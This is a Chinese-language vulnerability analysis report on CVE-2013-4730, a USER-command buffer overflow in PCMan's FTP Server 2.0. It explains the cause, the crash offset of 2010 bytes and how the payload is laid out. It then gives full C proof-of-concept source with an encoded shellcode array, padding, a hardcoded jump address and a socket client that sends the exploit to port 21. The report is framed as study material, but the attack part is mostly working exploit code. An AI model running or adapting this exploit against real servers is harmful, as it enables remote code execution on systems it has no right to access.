PCManFTP v2.0(CVE-2013-4730)漏洞分析报告

软件名称:PCManFTP

软件版本:2.0

漏洞模块:PCManFTPD2.exe

模块版本:2.0.0.0

编译日期:2005-01-01

操作系统:WinXP/2003/7/8.1/10

漏洞编号:CVE-2013-4730

危害等级:中危      

漏洞类型:缓冲区溢出 or 信息泄露

威胁类型:远程 or 本地


1. 软件简介
PCMan's FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。
软件界面:

PCManFTP v2.0(CVE-2013-4730)漏洞分析报告_第1张图片

2. 漏洞成因
PCMan's FTP Server 2.0.0版本中存在缓冲区溢出漏洞。此漏洞源于处理精心构造的USER, PASS, STOR, ABOR, CWD命令时,没有正确验证用户提供的输入,这可使远程攻击者造成缓冲区溢出,导致拒绝服务或执行任意代码。


3. 利用过程
利用FTP传输协议,发送USER命令后面跟上一大串字符串,并定位具体溢出点,将溢出点替换为shellcode以达到利用.
附:访问控制指令
用户名(USER):它的参数是用来指定用户的Telnet字串。它用来进行用户鉴定,服务器对赋予文件的系统访问权限。该指令通常是建立数据连接后(有些服务器需要)用户发出的第一个指令。有些服务器还需要通过password或account指令获取额外的鉴定信息。服务器允许用户为了改变访问控制和/或帐户信息而发送新的USER指令。这会导致已经提供的用户,口令,帐户信息被清空,重新开始登录。所有的传输参数均不改变,任何正在执行的传输进程在旧的访问控制参数下完成。
口令(PASS):它的参数是用来指定用户口令的Telnet字符串。 此指令紧跟用户名指令,在某些站点它是完成访问控制不可缺少的一步。因为口令信息非常敏感,所以它的表示通常是被“掩盖”起来或什么也不显示。服务器没有十分安全的方法达到这样的显示效果,因此,user-FTP进程有责任去隐藏敏感的口令信息。

4. PoC(可行性验证)
首先用windbg的mona2工具生成0x1000大小的有规律数据” Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7……”,然后编写FTP登陆程序给软件传送这段数据,得到溢出偏移值是2010。
构建一个的字符串:"USER "(5字节)+垃圾指令(2005字节)+ 跳板指令(4字节)+ shellcode代码(不含0x00,0x0A,0x0D,0x20特殊ASCII)+ "\r\n"(2字节)。
demo源代码:

#include "stdafx.h"
#include    
#pragma comment(lib,"Ws2_32.lib")

char bshellcode[] = {
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x33, 0xC0, 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, 0xC3,
	0x58, 0x8D, 0x70, 0x1B, 0x33, 0xC9, 0x66, 0xB9,
	0x17, 0x01, 0x8A, 0x04, 0x0E, 0x34, 0x0B, 0x88,
	0x04, 0x0E, 0xE2, 0xF6, 0x80, 0x34, 0x0E, 0x0B,
	0xFF, 0xE6, 0x88, 0xE7, 0x7B, 0xE0, 0x47, 0x43,
	0x6E, 0x67, 0x67, 0x64, 0x2B, 0x3A, 0x3E, 0x5B,
	0x49, 0x0B, 0x4E, 0x73, 0x62, 0x7F, 0x5B, 0x79,
	0x64, 0x68, 0x6E, 0x78, 0x78, 0x0B, 0x46, 0x6E,
	0x78, 0x78, 0x6A, 0x6C, 0x6E, 0x49, 0x64, 0x73,
	0x4A, 0x0B, 0x47, 0x64, 0x6A, 0x6F, 0x47, 0x62,
	0x69, 0x79, 0x6A, 0x79, 0x72, 0x4E, 0x73, 0x4A,
	0x0B, 0x7E, 0x78, 0x6E, 0x79, 0x38, 0x39, 0x25,
	0x6F, 0x67, 0x67, 0x0B, 0x4C, 0x6E, 0x7F, 0x5B,
	0x79, 0x64, 0x68, 0x4A, 0x6F, 0x6F, 0x79, 0x6E,
	0x78, 0x78, 0x0B, 0xE3, 0x0B, 0x0B, 0x0B, 0x0B,
	0x54, 0x5C, 0x6F, 0x80, 0x3E, 0x3B, 0x0B, 0x0B,
	0x0B, 0x80, 0x7D, 0x07, 0x80, 0x7D, 0x17, 0x80,
	0x3D, 0x80, 0x55, 0x03, 0x80, 0x78, 0x37, 0x08,
	0xF8, 0x80, 0x7D, 0x73, 0x08, 0xF8, 0x80, 0x5D,
	0x13, 0x80, 0x4D, 0x17, 0x08, 0xC8, 0x80, 0x75,
	0x2F, 0x08, 0xF0, 0x5C, 0x80, 0x7D, 0x2B, 0x08,
	0xF8, 0x38, 0xC2, 0x80, 0x37, 0x85, 0x08, 0xF0,
	0xE0, 0x0C, 0x30, 0xC1, 0x4A, 0x7E, 0xFF, 0xE0,
	0x12, 0x5A, 0x5D, 0x80, 0xFC, 0x80, 0x77, 0x2F,
	0x07, 0x88, 0xE4, 0x1F, 0xB2, 0x04, 0x0B, 0x0B,
	0x0B, 0xF7, 0xF8, 0xAD, 0x55, 0x52, 0x7F, 0x08,
	0xE0, 0xEB, 0xC8, 0x54, 0x86, 0x07, 0x44, 0x04,
	0xBC, 0x02, 0x80, 0x0F, 0x83, 0x08, 0xC8, 0x5B,
	0x58, 0x80, 0x77, 0x2F, 0x03, 0x88, 0xE4, 0x25,
	0x5C, 0x58, 0xF4, 0xDB, 0x80, 0x77, 0x2F, 0x03,
	0x88, 0xE4, 0x14, 0x61, 0x0B, 0x61, 0x0B, 0x5C,
	0xF4, 0xDB, 0x80, 0x77, 0x2F, 0x03, 0x88, 0xE4,
	0x31, 0x80, 0x7F, 0x2F, 0x0F, 0x5C, 0x5B, 0xF4,
	0xDD, 0x5B, 0x80, 0x77, 0x2F, 0x07, 0x88, 0xE4,
	0x4D, 0x80, 0x7F, 0x2F, 0x03, 0x80, 0x57, 0x2F,
	0x0F, 0x5C, 0x58, 0xF4, 0xDD, 0x5B, 0x80, 0x77,
	0x2F, 0x1B, 0x86, 0x4C, 0xA4, 0x80, 0x57, 0x2F,
	0x0F, 0x61, 0x0B, 0x5B, 0x5B, 0x61, 0x0B, 0xF4,
	0xD8, 0x80, 0x07, 0x2F, 0x61, 0x0B, 0xF4, 0xDA,
	0x0B
};
int _tmain(int argc, _TCHAR* argv[])
{
	// 1. 初始化Winsock服务
	WSADATA stWSA;
	WSAStartup(0x0202, &stWSA);
	// 2. 创建一个原始套接字
	SOCKET stListen = INVALID_SOCKET;
	stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
	// 3. 在任意地址(INADDR_ANY)上绑定一个端口21
	SOCKADDR_IN stService;
	stService.sin_addr.s_addr = inet_addr("127.0.0.1");
	stService.sin_port = htons(21);
	stService.sin_family = AF_INET;
	connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
	// 4. 接受欢迎语
	char szRecv[0x100] = { 0 };
	char *pCommand = "USER anonymous";
	recv(stListen, szRecv, sizeof(szRecv), 0);
	char cExpolit[5000] = { 0 };
	char cFill[5000] = { 0 };
	memset(cFill, 'A', 2005); 
	sprintf_s(cExpolit, 5000, "%s%s%s%s%s", "USER ",cFill, "\x1D\x11\xBF\x76", bshellcode, "\r\n");  //76BF111D这个是跳板地址,按照具体机型更改
	// 5. 发送登陆请求
	send(stListen, cExpolit, strlen(cExpolit), 0);
	recv(stListen, szRecv, sizeof(szRecv), 0);
	// 6. 关闭相关句柄并释放相关资源
	closesocket(stListen);
	WSACleanup();
	return 0;
}

5. 结语
缓冲区溢出一般是没有进行边界检查,或使用了不安全的函数,避免这个情况能大大提高安全性。


原程序下载地址:

链接:http://pan.baidu.com/s/1i4ASr4p 密码:xqe3

你可能感兴趣的:(漏洞)